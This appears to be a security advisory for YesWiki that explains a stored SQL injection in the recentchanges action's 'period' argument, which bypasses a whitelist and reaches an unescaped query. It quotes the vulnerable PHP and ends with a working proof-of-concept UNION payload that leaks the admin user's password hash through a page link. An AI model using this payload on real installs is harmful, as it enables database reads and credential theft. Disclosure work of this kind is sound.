YesWiki: SQL injection via the `recentchanges` action `period` argument leads to arbitrary DB read

Summary

The recentchanges action (actions/recentchanges.php) accepts a period argument from two disjoint parameter spaces: the URL query string ($_GET['period']) and the action invocation {{recentchanges period="..."}}. A whitelist at line 17 validates only the URL form against ['day','week','month']. The action-argument form takes the else branch at line 33 ($dateMin = $this->GetParameter('period')) with no validation, and the value flows into PageManager::getRecentlyChanged() (includes/services/PageManager.php:196), where it is interpolated into a WHERE time >= '...' ORDER BY time DESC clause without escaping or parameterization. UNION-based injection succeeds, the leaked rows render into the response page via actions/recentchanges.php:43,58 (ComposeLinkToPage($page['tag'])), so any visitor of the trigger page sees the exfiltrated data.

The vulnerability provides arbitrary read of the YesWiki database to anyone who can save the trigger page. On a default install (default_write_acl='*'), this includes anonymous users, subject to the hashcash JS check on the page-edit form. Once the trigger page is saved, every subsequent view fires the injection as the SQLi is stored. Stored SQL injection is reachable through the page-edit flow, with arbitrary database read.

Details

Two issues compose the vulnerability.

1. actions/recentchanges.php line 33 reads the action argument and skips the whitelist.

   php

   if (isset($_GET['period']) && in_array($_GET['period'], ['day', 'week', 'month'])) {
       switch ($_GET['period']) {
           case 'day':   $d = strtotime('-1 day');   $dateMin = date('Y-m-d H:i:s', $d); break;
           case 'week':  $d = strtotime('-1 week');  $dateMin = date('Y-m-d H:i:s', $d); break;
           case 'month': $d = strtotime('-1 month'); $dateMin = date('Y-m-d H:i:s', $d); break;
       }
   } else {
       $dateMin = $this->GetParameter('period');   
   }

   Wiki::GetParameter() (includes/YesWiki.php:895) reads $this->parameter[$key], which is populated from the {{action key=value}} argument list — disjoint from $_GET. The whitelist's if branch only runs when $_GET['period'] matches one of three exact values; in every other case the else branch reads the action argument with no validation, no escaping, no DateTime parse, no regex. The two parameter spaces are independent.

2. In includes/services/PageManager.php, PageManager::getRecentlyChanged() interpolates the value into SQL.

public function getRecentlyChanged($limit = 50, $minDate = ''): ?array
{
    if (!empty($minDate)) {
        if ($pages = $this->dbService->loadAll(
            'select id, tag, time, user, owner from' . $this->dbService->prefixTable('pages')
            . "where latest = 'Y' and comment_on = '' and time >= '$minDate' order by time desc"
        )) {
            return $pages;
        }
    }
}

$minDate is interpolated raw into the query and there is no $this->dbService->escape($minDate) and no parameter binding and no format check.

The default action ACL for recentchanges is * (includes/YesWiki.php:1100, GetModuleACL), so Performer::CheckModuleACL('recentchanges', 'action') returns true for everyone. The injection runs whenever a viewer reaches a page that embeds the action with a malicious period argument.

PoC

Default fresh install so default_write_acl='*'.

1. place the SQLi payload on a page

{{recentchanges period="2000-01-01' UNION SELECT 9999 AS id, CONCAT('LEAK_', name, '_', SUBSTRING(password,1,32)) AS tag, NOW() AS time, name AS user, name AS owner FROM yeswiki_users WHERE name='AdminUser' -- "}}

The five UNION columns match the id, tag, time, user, owner projection that getRecentlyChanged selects. The tag column is rendered into the response as a hyperlink, exfiltrating the leaked data.

2. anyone visits the page

GET /?<TriggerPage> HTTP/1.1
Host: target.example

The injected query executes server-side; the tag column is rendered into the page in actions/recentchanges.php:43,58 via ComposeLinkToPage($page['tag']).

Impact

Arbitrary read of any DB column the application's MySQL user can access.